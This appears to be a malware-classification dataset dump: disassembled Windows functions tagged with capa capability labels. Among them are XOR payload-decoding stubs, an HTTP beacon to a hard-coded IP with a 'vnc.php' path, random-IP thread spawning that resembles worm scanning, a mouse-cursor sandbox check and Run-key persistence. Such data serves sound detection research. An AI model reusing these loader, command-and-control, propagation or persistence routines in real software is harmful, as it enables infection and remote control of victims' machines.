joyce8/EMBER2024-capa huggingface dataset:
Function at 0x572f94
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x472754
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x4a2008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
xorps xmm0, xmm0
push 1
movups xmmword [esi], xmm0
push 0x48f868
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
call int.005a6484
mov dword [ebp - 4], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov byte [ebp - 4], 1
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov byte [ebp - 4], 2
mov dword [esi + 0x30], 0
mov dword [esi + 0x34], 0
mov dword [esi + 0x38], 0
mov byte [ebp - 4], 3
mov dword [esi + 0x3c], 0
mov dword [esi + 0x40], 0
mov dword [esi + 0x44], 0
mov byte [ebp - 4], 4
mov dword [esi + 0x48], 0
mov dword [esi + 0x4c], 0
mov dword [esi + 0x50], 0
mov byte [ebp - 4], 5
mov ecx, dword [0x4a2a48]
mov eax, dword [0x4a2a4c]
add ecx, 1
mov dword [esi + 0x58], 0
mov dword [esi + 0x5c], 0
adc eax, 0
mov dword [esi + 0x60], 0
mov dword [esi + 0x64], 0
mov dword [0x4a2a4c], eax
mov dword [esi + 0x6c], eax
mov dword [esi + 0x68], ecx
mov eax, dword [esi + 0x20]
sub eax, dword [esi + 0x18]
sar eax, 3
mov dword [0x4a2a48], ecx
cmp eax, 0x64
jae 0x5730b7
push ecx
lea ecx, [esi + 0x18]
call fcn.005927b4
mov eax, dword [esi + 0x2c]
sub eax, dword [esi + 0x24]
sar eax, 3
cmp eax, 0x14
jae 0x5730ce
push ecx
lea ecx, [esi + 0x24]
call fcn.005926c4
mov dword [ebp - 4], 0xffffffff
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x5933b4
Capabilities:
Encode data using xor

Disassembly:
adc bl, ah
fcom st(5)
adc esp, dword [esi]
mov byte [0x16b89d5e], al
xchg esi, eax
mov ecx, 0xe43b3698
in al, dx
pop ebx
mov ah, 0x74
rcr byte [ebx], 0x92
fnstcw word [0x8707fb19]
sbb byte [ecx + 0x3f39c799], dh
pop ss
sbb dword [esi - 0x40307fa8], eax
pop eax
or bh, 0xbf
jne 0x593401
xor byte [ecx + 0x2141a4ad], bh
push ecx
push edx
adc ah, byte [0xc4d7f32]
adc al, 0xf3
in eax, 0x92
pop edx
jg 0x5933dc
fistp dword [eax]
aam 0xb6
fistp dword ds:[0x4f64463e]
dec edi
pop edi
dec edx
xchg esi, eax
mov eax, dword [0x4b995f28]
sub ebp, edx
xor eax, 0x453441ae
inc ecx
xor al, 0x45
adc byte [edi + 0x39a2e39b], 1
mov edi, 0x953443ca
push es
add eax, 0x1ee61726
push eax
stc
push 0x37
cmp ch, ah
inc edx
pop esp
jns 0x593430
imul eax, dword [edx - 0x16f57248], 0xfffffff0
mov eax, 0xf0e90a8d
dec esi
or dword [edi - 0x9231289], edi
and eax, 0x6bdd8854
sar eax, cl
cmpsb byte [esi], byte es:[edi]
lodsd eax, dword [esi]
ror byte [ebp + 0x3a], 1
mov ah, 0x5e
or eax, 0x2a3d5e
xor byte [edi - 0xb], dl
pop eax
xor dword [ecx - 0x1e30227d], esi
mul byte [eax + 0x65]
pushal
jle 0x59340e
invalid
Function at 0x5bc8f4
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x472754
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x4a2008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
xorps xmm0, xmm0
push 1
movups xmmword [esi], xmm0
push 0x48f868
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
call fcn.005efde4
mov dword [ebp - 4], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov byte [ebp - 4], 1
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov byte [ebp - 4], 2
mov dword [esi + 0x30], 0
mov dword [esi + 0x34], 0
mov dword [esi + 0x38], 0
mov byte [ebp - 4], 3
mov dword [esi + 0x3c], 0
mov dword [esi + 0x40], 0
mov dword [esi + 0x44], 0
mov byte [ebp - 4], 4
mov dword [esi + 0x48], 0
mov dword [esi + 0x4c], 0
mov dword [esi + 0x50], 0
mov byte [ebp - 4], 5
mov ecx, dword [0x4a2a48]
mov eax, dword [0x4a2a4c]
add ecx, 1
mov dword [esi + 0x58], 0
mov dword [esi + 0x5c], 0
adc eax, 0
mov dword [esi + 0x60], 0
mov dword [esi + 0x64], 0
mov dword [0x4a2a4c], eax
mov dword [esi + 0x6c], eax
mov dword [esi + 0x68], ecx
mov eax, dword [esi + 0x20]
sub eax, dword [esi + 0x18]
sar eax, 3
mov dword [0x4a2a48], ecx
cmp eax, 0x64
jae 0x5bca17
push ecx
lea ecx, [esi + 0x18]
call fcn.005dc114
mov eax, dword [esi + 0x2c]
sub eax, dword [esi + 0x24]
sar eax, 3
cmp eax, 0x14
jae 0x5bca2e
push ecx
lea ecx, [esi + 0x24]
call fcn.005dc024
mov dword [ebp - 4], 0xffffffff
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x605f84
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x472754
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x4a2008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
xorps xmm0, xmm0
push 1
movups xmmword [esi], xmm0
push 0x48f868
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
call fcn.00639474
mov dword [ebp - 4], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov byte [ebp - 4], 1
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov byte [ebp - 4], 2
mov dword [esi + 0x30], 0
mov dword [esi + 0x34], 0
mov dword [esi + 0x38], 0
mov byte [ebp - 4], 3
mov dword [esi + 0x3c], 0
mov dword [esi + 0x40], 0
mov dword [esi + 0x44], 0
mov byte [ebp - 4], 4
mov dword [esi + 0x48], 0
mov dword [esi + 0x4c], 0
mov dword [esi + 0x50], 0
mov byte [ebp - 4], 5
mov ecx, dword [0x4a2a48]
mov eax, dword [0x4a2a4c]
add ecx, 1
mov dword [esi + 0x58], 0
mov dword [esi + 0x5c], 0
adc eax, 0
mov dword [esi + 0x60], 0
mov dword [esi + 0x64], 0
mov dword [0x4a2a4c], eax
mov dword [esi + 0x6c], eax
mov dword [esi + 0x68], ecx
mov eax, dword [esi + 0x20]
sub eax, dword [esi + 0x18]
sar eax, 3
mov dword [0x4a2a48], ecx
cmp eax, 0x64
jae 0x6060a7
push ecx
lea ecx, [esi + 0x18]
call fcn.006257a4
mov eax, dword [esi + 0x2c]
sub eax, dword [esi + 0x24]
sar eax, 3
cmp eax, 0x14
jae 0x6060be
push ecx
lea ecx, [esi + 0x24]
call fcn.006256b4
mov dword [ebp - 4], 0xffffffff
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x64d15d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x654338
cmp edx, dword [eax]
je 0x64d17f
add eax, 8
inc ecx
cmp eax, 0x6543c8
jl 0x64d170
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x654338]
jne 0x64d2ad
mov eax, dword [0xa57c90]
cmp eax, 1
je 0x64d287
test eax, eax
jne 0x64d1b0
cmp dword [0x654264], 1
je 0x64d287
cmp edx, 0xfc
je 0x64d2ad
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x64d1e7
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.0064db40
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.0064dfd0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x64d22a
lea eax, [ebp - 0x1a4]
push eax
call fcn.0064dfd0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x6526d4
push edi
call fcn.0064fea0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.0064db40
lea eax, [ebp - 0xa0]
test dword [eax - 1], esp
invalid
call dword [edi + 0x50]
call fcn.0064db50
lea eax, [ebp - 0xa0]
push 0x6526b4
push eax
call fcn.0064db50
push dword [esi + 0x65433c]
lea eax, [ebp - 0xa0]
push eax
call fcn.0064db50
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0064fe14
add esp, 0x2c
pop edi
jmp 0x64d2ad
lea eax, [ebp + 8]
lea esi, [esi + 0x65433c]
push 0
push eax
push dword [esi]
call fcn.0064dfd0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x1000cac3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword fs:[0x2c]
push ebx
push esi
mov esi, dword [0x100139e8]
mov ebx, ecx
push edi
mov edi, edx
mov dword [ebp - 8], edi
mov esi, dword [eax + esi*4]
mov eax, dword [0x10013e80]
cmp eax, dword [esi + 4]
jg 0x1000cb78
lea eax, [ebx + edi]
cmp eax, ebx
ja 0x1000cb01
mov eax, 0x10dd
jmp 0x1000cb71
mov eax, dword [0x10013e7c]
cmp edi, eax
jbe 0x1000cb0f
push 0x32
pop eax
jmp 0x1000cb71
mov edi, dword [ebp + 8]
lea ecx, [ebp - 4]
and dword [ebp - 4], 0
lea esi, [eax - 1]
push ecx
not esi
push dword [edi]
and esi, ebx
push eax
push esi
call dword [sym.imp.kernel32.dll_VirtualProtect]
test eax, eax
jne 0x1000cb37
call dword [sym.imp.kernel32.dll_GetLastError]
jmp 0x1000cb71
mov ecx, dword [0x10013e7c]
mov eax, dword [ebp - 8]
dec ecx
mov edx, dword [ebp - 4]
dec eax
add eax, ebx
mov dword [edi], edx
not ecx
and ecx, eax
cmp ecx, esi
je 0x1000cb6c
lea eax, [ebp - 4]
push eax
push dword [edi + 4]
push dword [0x10013e7c]
push ecx
call dword [sym.imp.kernel32.dll_VirtualProtect]
test eax, eax
je 0x1000cb2f
mov edx, dword [ebp - 4]
mov dword [edi + 4], edx
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 4
mov esi, 0x10013e80
push esi
call fcn.1000cd54
cmp dword [0x10013e80], 0xffffffff
pop ecx
jne 0x1000caf3
push 9
pop ecx
xor eax, eax
lea edi, [ebp - 0x2c]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.kernel32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x28]
push esi
mov dword [0x10013e7c], eax
call fcn.1000cd54
mov edi, dword [ebp - 8]
pop ecx
jmp 0x1000caf3

Function at 0x1000cd54
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x1000cd63
pop dword [ebp - 8]
mov eax, 0x1000cd63
sub dword [ebp - 8], eax
push 0x40
push 0x1000
push 0x3e4f3
push 0
mov eax, 0xfa8a99d0
sub eax, 0xea89596c
add eax, dword [ebp - 8]
call dword [eax]
mov ecx, 0x7728a854
sub ecx, 0x77284b21
mov edx, eax
mov ebx, 0xf954db9c
sub ebx, 0xe953559c
add ebx, dword [ebp - 8]
mov edi, 0xc6df9ba2
mov dword [ebp - 4], 0x34933a3b
mov esi, dword [ebx]
xor dword [ebp - 4], 0xd5154511
add esi, edi
add dword [ebp - 4], edx
mov dword [edx], esi
add dword [ebp - 4], ecx
add edx, 4
add ebx, 4
loop 0x1000cdb7
add eax, 0x1679f
xor ebx, ebx
add ebx, eax
add eax, 0x20e1c387
add eax, 0xdf1e3c7e
mov ecx, 0x223f4d99
add ecx, 0xedc0b267
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404369

Function at 0x4025e7
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x40f530
call fcn.00403770
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x4024e7
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4024e7
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4024e7
cmp dword [eax + 0x400074], 0xe
jbe 0x4024e7
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x4024eb
and dword [ebp - 0x1c], 0
push 1
call fcn.00407949
pop ecx
test eax, eax
jne 0x4024ff
push 0x1c
call fcn.00407949
pop ecx
call fcn.00405287
test eax, eax
jne 0x402510
push 0x10
call fcn.00407949
pop ecx
call fcn.00405952
and dword [ebp - 4], 0
call fcn.004032ff
test eax, eax
jge 0x40252a
push 0x1b
call fcn.00407949
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x412ba0], eax
call fcn.00407949
mov dword [0x41203c], eax
call fcn.00407949
test eax, eax
jge 0x402550
push 8
call fcn.00407949
pop ecx
call fcn.00405fde
test eax, eax
jge 0x402561
push 9
call fcn.00407949
pop ecx
push 1
call fcn.00407949
pop ecx
test eax, eax
je 0x402574
push eax
call fcn.00407949
pop ecx
mov eax, dword [0x412018]
mov dword [0x41201c], eax
push eax
push dword [0x412010]
push dword [0x41200c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4025a2
push eax
call fcn.00407949
call fcn.00402400
jmp 0x4025d7
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.004037b5
ret
call fcn.00407949
jmp 0x402495

Function at 0x407949
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x407958
pop dword [ebp - 0x4c]
mov eax, 0x916e1a9
add eax, 0xf72997af
sub dword [ebp - 0x4c], eax
push 0x40
push 0x1000
push 0x3be0e
push 0
mov eax, 0x493d3dcf
sub eax, 0x48fc5cf7
add eax, dword [ebp - 0x4c]
call dword [eax]
mov ecx, 0x77b5a886
sub ecx, 0x77b55738
xor esi, esi
add esi, eax
mov edi, 0xd8681861
add edi, 0x27d92363
add edi, dword [ebp - 0x4c]
mov edx, 0x6e729507
xor dword [ebp - 0x20], edx
mov ebx, dword [edi]
sub ebx, edx
mov dword [ebp - 0x18], 0x76d4391c
mov dword [esi], ebx
sub dword [ebp - 0x38], esi
add esi, 0x31329078
sub esi, 0x31329074
add edi, 0x2e39a1fe
sub edi, 0x2e39a1fa
loop 0x4079b3
add eax, 0x540d288f
add eax, 0xabf40f7c
xor ebx, ebx
add ebx, eax
add eax, 0xba6aca3c
add eax, 0x459535c9
mov ecx, 0xfc4cff79
sub ecx, 0xfc0cff79
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x100045cb
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x100045da
pop dword [ebp - 0x30]
mov eax, 0x100045da
sub dword [ebp - 0x30], eax
push 0x40
push 0x1000
push 0x39e11
push 0
mov eax, 0xcd40dd3e
add eax, 0x42bff39e
add eax, dword [ebp - 0x30]
call dword [eax]
mov ecx, 0x95347795
add ecx, 0x6acbd6dd
mov ebx, eax
mov esi, 0x10015200
add esi, dword [ebp - 0x30]
mov edi, 0x245a8fdd
add edi, 0x6936e0e3
add dword [ebp - 0x28], eax
mov edx, dword [esi]
xor dword [ebp - 0x18], ecx
xor edx, edi
mov dword [ebp - 0x18], 0x7517ddb6
mov dword [ebx], edx
add dword [ebp - 0x24], 0xdc8a7b62
add ebx, 4
add esi, 4
loop 0x1000462e
add eax, 0x19b53acc
add eax, 0xe64bf1cf
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x6791b150
add ecx, 0xa86e4eb0
add ecx, dword [ebp - 0x30]
call ebx
leave
ret

Function at 0x1000655b
Capabilities:
Check for unmoving mouse cursor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push edi
mov edi, dword [ebp + 8]
lea esi, [edi - 0x6c]
mov ecx, esi
call fcn.100045cb
test eax, eax
jne 0x1000657b
mov eax, 0x80070005
jmp 0x100065ec
push esi
mov ecx, esi
call fcn.100045cb
test eax, eax
js 0x100065ea
cmp dword [edi + 0x44], 0
je 0x100065ea
and dword [ebp + 8], 0
lea eax, [ebp - 0x10]
mov esi, dword [sym.imp.USER32.dll_GetCursorPos]
push eax
call esi
lea eax, [ebp - 8]
push eax
call esi
push 0x14
pop ecx
call fcn.100099b8
test eax, eax
je 0x100065c7
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
and dword [eax + 8], 0
mov dword [eax], vtable.CNameShowContactCardJob.0
mov dword [eax + 0xc], ecx
mov dword [eax + 0x10], edx
jmp 0x100065c9
xor eax, eax
push eax
lea ecx, [ebp + 8]
call fcn.100045cb
mov esi, dword [ebp + 8]
test esi, esi
je 0x100065ea
mov ecx, dword [edi + 0x44]
push esi
call fcn.100045cb
test eax, eax
mov eax, dword [esi]
push esi
call dword [eax + 8]
xor eax, eax
pop edi
pop esi
leave
ret 4
Function at 0x401a50
Capabilities:
Create http request
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
push 0x1f4
push 0
lea eax, [ebp - 0x200]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
push str.http:__185.215.113.66_vnc.php_s_s_s_s
lea ecx, [ebp - 0x200]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_93.0.4577.82_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 0
je 0x401ae6
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x200]
push edx
mov eax, dword [ebp - 0x204]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 4], eax
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x204]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov esp, ebp
pop ebp
ret

Function at 0x401b10
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x401b4f
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x401b42
xor eax, eax
jmp 0x401b52
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x401c60
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
cmp dword [ebp + 0x10], 0
jle 0x401cb1
push 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x401c99
cmp dword [ebp - 8], 0xffffffff
jne 0x401c9d
xor eax, eax
jmp 0x401cb6
mov eax, dword [ebp + 0x10]
sub eax, dword [ebp - 8]
mov dword [ebp + 0x10], eax
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 8]
mov dword [ebp - 4], ecx
jmp 0x401c6d
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x401cc0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
cmp dword [ebp + 0x10], 0
jne 0x401cd0
xor eax, eax
jmp 0x401d1c
mov dword [ebp - 4], 0
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0x10]
jge 0x401d17
push 0
mov ecx, dword [ebp + 0x10]
sub ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 0xc]
add edx, dword [ebp - 4]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x401d08
cmp dword [ebp - 8], 0
jne 0x401d0c
xor eax, eax
jmp 0x401d1c
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 8]
mov dword [ebp - 4], ecx
jmp 0x401cd7
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x401d20
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 1
push 4
lea eax, [ebp - 8]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
cmp dword [ebp + 0x14], 0
je 0x401d42
cmp dword [ebp + 0x14], 1
jne 0x401d56
push 1
mov ecx, dword [ebp + 0x14]
push ecx
lea edx, [ebp - 7]
push edx
call sub.MSVCR90.dll_memset
add esp, 0xc
jmp 0x401d66
push 1
push 1
lea eax, [ebp - 7]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
push 4
push 0
lea ecx, [ebp - 6]
push ecx
call sub.MSVCR90.dll_memset
add esp, 0xc
push 1
movsx edx, byte [ebp + 0xc]
push edx
lea eax, [ebp - 2]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
push 1
movsx ecx, byte [ebp + 0x10]
push ecx
lea edx, [ebp - 1]
push edx
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0
push 8
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_send]
cmp dword [ebp + 0x14], 1
jle 0x401dd6
push 1
push 0
lea edx, [ebp - 7]
push edx
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0
push 8
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov esp, ebp
pop ebp
ret
Function at 0x403060
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Initialize winsock library
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3f4
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [str.333444322]
mov dword [ebp - 0x10], eax
mov ecx, dword [0x404738]
mov dword [ebp - 0xc], ecx
mov dx, word [0x40473c]
mov word [ebp - 8], dx
lea eax, [ebp - 0x10]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0x3f4], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4030b9
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x254], 0
push 0x104
lea ecx, [ebp - 0x250]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea edx, [ebp - 0x3e8]
push edx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call sub.MSVCR90.dll_srand
add esp, 4
push 0
push 0
push 0
push 0x403040
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0xc8
idiv ecx
add edx, 0x14
mov dword [ebp - 4], edx
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0xfe
idiv ecx
add edx, 1
mov dword [ebp - 0x258], edx
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0xfe
idiv ecx
add edx, 1
mov dword [ebp - 0x3f0], edx
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0xfe
idiv ecx
add edx, 1
mov dword [ebp - 0x3ec], edx
cmp dword [ebp - 4], 0x7f
je 0x4031d3
cmp dword [ebp - 4], 0xac
je 0x4031d3
cmp dword [ebp - 4], 0xc0
je 0x4031d3
mov edx, dword [ebp - 0x3ec]
push edx
mov eax, dword [ebp - 0x3f0]
push eax
mov ecx, dword [ebp - 0x258]
push ecx
mov edx, dword [ebp - 4]
push edx
push str._d._d._d._d
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
push 0
push 0
lea ecx, [ebp - 0x44]
push ecx
push 0x402e90
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0x32
idiv ecx
add edx, 0x32
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40310d
Function at 0x669812f3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 0x2c]
mov dword [esp], eax
call sym._GetSystemInfo_4
sub esp, 4
mov eax, dword [ebp - 0x14]
cmp eax, 0x182
je 0x66981325
mov eax, dword [ebp - 0x14]
cmp eax, 0x1e6
je 0x66981325
mov eax, dword [ebp - 0x14]
cmp eax, 0x24a
jne 0x6698132c
mov eax, 1
jmp 0x66981331
mov eax, 0
leave
ret

Function at 0x66981333
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov dword [ebp - 0xc], 0
mov dword [esp + 8], 0x100
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
test eax, eax
jne 0x66981382
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.GetModuleFileName___failed_with_error_code__d_n
call sym._printf
jmp 0x669814e4
mov dword [esp + 4], 0x5c
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._strrchr
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x669813bb
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.strrchr___failed_with_error_code__d_n
call sym._printf
jmp 0x669814e4
mov eax, dword [ebp - 0xc]
mov byte [eax], 0
lea eax, [ebp - 0x20c]
mov dword [eax], 0x74666f53
mov dword [eax + 4], 0x65726177
mov dword [eax + 8], 0x63694d5c
mov dword [eax + 0xc], 0x6f736f72
mov dword [eax + 0x10], 0x575c7466
mov dword [eax + 0x14], 0x6f646e69
mov dword [eax + 0x18], 0x435c7377
mov dword [eax + 0x1c], 0x65727275
mov dword [eax + 0x20], 0x6556746e
mov dword [eax + 0x24], 0x6f697372
mov dword [eax + 0x28], 0x75525c6e
mov word [eax + 0x2c], 0x6e
mov dword [ebp - 0x210], 0
lea eax, [ebp - 0x210]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
lea eax, [ebp - 0x20c]
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
test eax, eax
je 0x66981471
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.RegOpenKeyEx___failed_with_error_code__d_n
call sym._printf
jmp 0x669814e4
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._strlen
mov edx, eax
mov eax, dword [ebp - 0x210]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x10c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.MyApp
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
test eax, eax
je 0x669814d3
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.RegSetValueEx___failed_with_error_code__d_n
call sym._printf
jmp 0x669814e4
mov eax, dword [ebp - 0x210]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
leave
ret